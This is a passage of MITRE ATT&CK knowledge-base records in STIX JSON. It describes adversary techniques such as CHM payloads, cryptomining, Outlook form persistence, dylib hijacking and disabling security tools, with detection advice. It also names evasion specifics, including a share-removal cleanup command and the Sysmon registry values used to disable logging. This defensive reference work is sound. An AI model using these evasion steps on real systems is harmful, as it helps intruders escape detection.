Modification"],"x_mitre_permissions_required":["Administrator"]},{"modified":"2023-10-18T16:31:56.936Z","name":"Compiled HTML File","description":"Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"2.1","x_mitre_data_sources":["File: File Creation","Process: Process Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"type":"attack-pattern","id":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","created":"2020-01-23T18:53:54.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1218/001","external_id":"T1218.001"},{"source_name":"Microsoft CVE-2017-8625 Aug 2017","description":"Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.","url":"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"},{"source_name":"Microsoft HTML Help May 2018","description":"Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"},{"source_name":"Microsoft HTML Help Executable Program","description":"Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.","url":"https://msdn.microsoft.com/windows/desktop/ms524405"},{"source_name":"Microsoft HTML Help ActiveX","description":"Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.","url":"https://msdn.microsoft.com/windows/desktop/ms644670"},{"source_name":"MsitPros CHM Aug 2017","description":"Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.","url":"https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-13T16:58:38.820Z","name":"Compute Hijacking","description":"Adversaries may leverage the compute resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability. \n\nOne common purpose for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for [Compute Hijacking](https://attack.mitre.org/techniques/T1496/001) and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)\n\nAdditionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers"],"x_mitre_version":"1.0","x_mitre_data_sources":["Command: Command Execution","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","Sensor Health: Host Status","Process: Process Creation","File: File Creation"],"x_mitre_impact_type":["Availability"],"type":"attack-pattern","id":"attack-pattern--a718a0c8-5768-41a1-9958-a1cc3f995e99","created":"2024-09-25T13:34:30.100Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1496/001","external_id":"T1496.001"},{"source_name":"Unit 42 Hildegard Malware","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"},{"source_name":"CloudSploit - Unused AWS Regions","description":"CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.","url":"https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"},{"source_name":"Kaspersky Lazarus Under The Hood Blog 2017","description":"GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.","url":"https://securelist.com/lazarus-under-the-hood/77908/"},{"source_name":"Trend Micro Exposed Docker APIs","description":"Oliveira, A. (2019, May 30). Infected Containers Target Docker via Exposed APIs. Retrieved April 6, 2021.","url":"https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html"},{"source_name":"Trend Micro War of Crypto Miners","description":"Oliveira, A., Fiser, D. (2020, September 10). War of Linux Cryptocurrency Miners: A Battle for Resources. Retrieved April 6, 2021.","url":"https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-13T17:15:56.948Z","name":"Network Share Connection Removal","description":"Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\\\system\\share /delete command. (Citation: Technet Net Use)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Command: Command Execution","Process: Process Creation","User Account: User Account Authentication"],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_system_requirements":["Established network share connection to a remote system. Level of access depends on permissions of the account used."],"type":"attack-pattern","id":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","created":"2020-01-31T12:39:18.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1070/005","external_id":"T1070.005"},{"source_name":"Technet Net Use","description":"Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.","url":"https://technet.microsoft.com/bb490717.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:48:24.411Z","name":"Multi-hop Proxy","description":"Adversaries may chain together multiple proxies to disguise the source of malicious traffic. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.\n\nFor example, adversaries may construct or use onion routing networks – such as the publicly available [Tor](https://attack.mitre.org/software/S0183) network – to transport encrypted C2 traffic through a compromised population, allowing communication with any device within the network.(Citation: Onion Routing) Adversaries may also use operational relay box (ORB) networks composed of virtual private servers (VPS), Internet of Things (IoT) devices, smart devices, and end-of-life routers to obfuscate their operations. (Citation: ORB Mandiant) \n\nIn the case of network infrastructure, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain (i.e., [Network Devices](https://attack.mitre.org/techniques/T1584/008)). By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001) on routers, adversaries can add custom code to the affected network devices that will implement onion routing between those nodes. This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method allowing the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s Wide-Area Network (WAN). Protocols such as ICMP may be used as a transport. \n\nSimilarly, adversaries may abuse peer-to-peer (P2P) and blockchain-oriented infrastructure to implement routing between a decentralized network of peers.(Citation: NGLite Trojan)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Eduardo Chavarro Ovalle"],"x_mitre_deprecated":false,"x_mitre_detection":"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers. Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization. Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted. Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"2.2","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"type":"attack-pattern","id":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","created":"2020-03-14T23:23:41.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1090/003","external_id":"T1090.003"},{"source_name":"ORB Mandiant","description":"Raggi, Michael. (2024, May 22). IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders. Retrieved July 8, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks"},{"source_name":"NGLite Trojan","description":"Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.","url":"https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"},{"source_name":"Onion Routing","description":"Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020.","url":"https://en.wikipedia.org/wiki/Onion_routing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Brute Force","description":"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.(Citation: TrendMicro Pawn Storm Dec 2020) Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.(Citation: Dragos Crashoverride 2018) Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_contributors":["David Fiser, @anu4is, Trend Micro","Alfredo Oliveira, Trend Micro","Magno Logan, @magnologan, Trend Micro","Yossi Weizman, Azure Defender Research Team","Ed Williams, Trustwave, SpiderLabs","Mohamed Kmal"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Containers","Network","Office Suite","Identity Provider"],"x_mitre_version":"2.6","x_mitre_data_sources":["User Account: User Account Authentication","Command: Command Execution","Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","created":"2017-05-31T21:31:22.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1110","external_id":"T1110"},{"source_name":"TrendMicro Pawn Storm Dec 2020","description":"Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm’s Lack of Sophistication as a Strategy. Retrieved January 13, 2021.","url":"https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html"},{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-10-15T15:17:19.136Z","name":"Unix Shell","description":"Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_deprecated":false,"x_mitre_detection":"Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Linux","Network"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution"],"x_mitre_remote_support":true,"type":"attack-pattern","id":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","created":"2020-03-09T14:15:05.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1059/004","external_id":"T1059.004"},{"source_name":"Apple ZShell","description":"Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.","url":"https://support.apple.com/HT208050"},{"source_name":"DieNet Bash","description":"die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.","url":"https://linux.die.net/man/1/bash"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:02:00.782Z","name":"Outlook Forms","description":"Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_deprecated":false,"x_mitre_detection":"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Office Suite"],"x_mitre_version":"1.2","x_mitre_data_sources":["Application Log: Application Log Content","Command: Command Execution","Process: Process Creation"],"type":"attack-pattern","id":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","created":"2019-11-07T20:06:02.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1137/003","external_id":"T1137.003"},{"source_name":"Microsoft Detect Outlook Forms","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack"},{"source_name":"SensePost NotRuler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.","url":"https://github.com/sensepost/notruler"},{"source_name":"SensePost Outlook Forms","description":"Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019.","url":"https://sensepost.com/blog/2017/outlook-forms-and-shells/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1157","url":"https://attack.mitre.org/techniques/T1157"},{"external_id":"CAPEC-471","source_name":"capec","url":"https://capec.mitre.org/data/definitions/471.html"},{"url":"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf","description":"Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.","source_name":"Writing Bad Malware for OSX"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.","source_name":"Malware Persistence on OS X"}],"modified":"2021-03-30T00:51:57.919Z","name":"Dylib Hijacking","description":"macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["Administrator","root"],"x_mitre_is_subtechnique":false},{"modified":"2024-04-12T21:13:46.640Z","name":"Disable or Modify Tools","description":"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.(Citation: SCADAfence_ransomware)\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls) \n\nAdversaries may also focus on specific applications such as Sysmon. For example, the “Start” and “Enable” values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Microsoft-Windows-Sysmon-Operational may be modified to tamper with and potentially disable Sysmon logging.(Citation: disable_win_evt_logging) \n\nOn network devices, adversaries may attempt to skip digital signature verification checks by altering startup configuration files and effectively disabling firmware verification that typically occurs at boot.(Citation: Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation)(Citation: Analysis of FG-IR-22-369)\n\nIn cloud environments, tools disabled by adversaries may include cloud monitoring agents that report back to services such as AWS CloudWatch or Google Cloud Monitor.\n\nFurthermore, although defensive tools may have anti-tampering mechanisms, adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Gordon Long, Box, Inc., @ethicalhax","Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security","Nathaniel Quist, Palo Alto Networks","Gal Singer, @galsinger29, Team Nautilus Aqua Security","Daniel Feichter, @VirtualAllocEx, Infosec Tirol","Cian Heasley","Alex Soler, AttackIQ","Sarathkumar Rajendran, Microsoft Defender365","Lucas Heiligenstein"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\n\nLack of expected log events may be suspicious.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","macOS","Linux","Containers","IaaS","Network"],"x_mitre_version":"1.5","x_mitre_data_sources":["Sensor Health: Host Status","Process: Process Termination","Process: Process Creation","Service: Service Metadata","Windows Registry: Windows Registry Key Modification","Command: Command Execution","Windows Registry: Windows Registry Key Deletion","Driver: Driver Load"],"x_mitre_defense_bypassed":["Anti-virus","Log analysis","Signature-based detection","Host intrusion prevention systems","File monitoring"],"type":"attack-pattern","id":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","created":"2020-02-21T20:32:20.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1562/001","external_id":"T1562.001"},{"source_name":"Analysis of FG-IR-22-369","description":" Guillaume Lovet and Alex Kong. (2023, March 9). Analysis of FG-IR-22-369. Retrieved May 15, 2023.","url":"https://www.fortinet.com/blog/psirt-blogs/fg-ir-22-369-psirt-analysis"},{"source_name":"Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation","description":"ALEXANDER MARVI, BRAD SLAYBAUGH, DAN EBREO, TUFAIL AHMED, MUHAMMAD UMAIR, TINA JOHNSON. (2023, March 16). Fortinet Zero-Day and Custom Malware Used by Suspected Chinese Actor in Espionage Operation. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/fortinet-malware-ecosystem"},{"source_name":"OutFlank System Calls","description":"de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.","url":"https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"},{"source_name":"disable_win_evt_logging","description":"Heiligenstein, L. (n.d.). REP-25: Disable Windows Event Logging. Retrieved April 7, 2022.","url":"https://ptylu.github.io/content/report/report.html?report=25"},{"source_name":"chasing_avaddon_ransomware","description":"Hernandez, A. S. Tarter, P. Ocamp, E. J. (2022, January 19). One Source to Rule Them All: Chasing AVADDON Ransomware. Retrieved January 26, 2022.","url":"https://www.mandiant.com/resources/chasing-avaddon-ransomware"},{"source_name":"doppelpaymer_crowdstrike","description":"Hurley, S. (2021, December 7). Critical Hit: How DoppelPaymer Hunts and Kills Windows Processes. Retrieved January 26, 2022.","url":"https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/"},{"source_name":"avoslocker_ransomware","description":"Lakshmanan, R. (2022, May 2). AvosLocker Ransomware Variant Using New Trick to Disable Antivirus Protection. Retrieved May 17, 2022.","url":"https://thehackernews.com/2022/05/avoslocker-ransomware-variant-using-new.html"},{"source_name":"dharma_ransomware","description":"Loui, E. Scheuerman, K. et al. (2020, April 16). Targeted Dharma Ransomware Intrusions Exhibit Consistent Techniques. Retrieved January 26, 2022.","url":"https://www.crowdstrike.com/blog/targeted-dharma-ransomware-intrusions-exhibit-consistent-techniques/"},{"source_name":"MDSec System Calls","description":"MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.","url":"https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"},{"source_name":"SCADAfence_ransomware","description":"Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022.","url":"https://cdn.logic-control.com/docs/scadafence/Anatomy-Of-A-Targeted-Ransomware-Attack-WP.pdf"},{"source_name":"demystifying_ryuk","description":"Tran, T. (2020, November 24). Demystifying Ransomware Attacks Against Microsoft Defender Solution. Retrieved January 26, 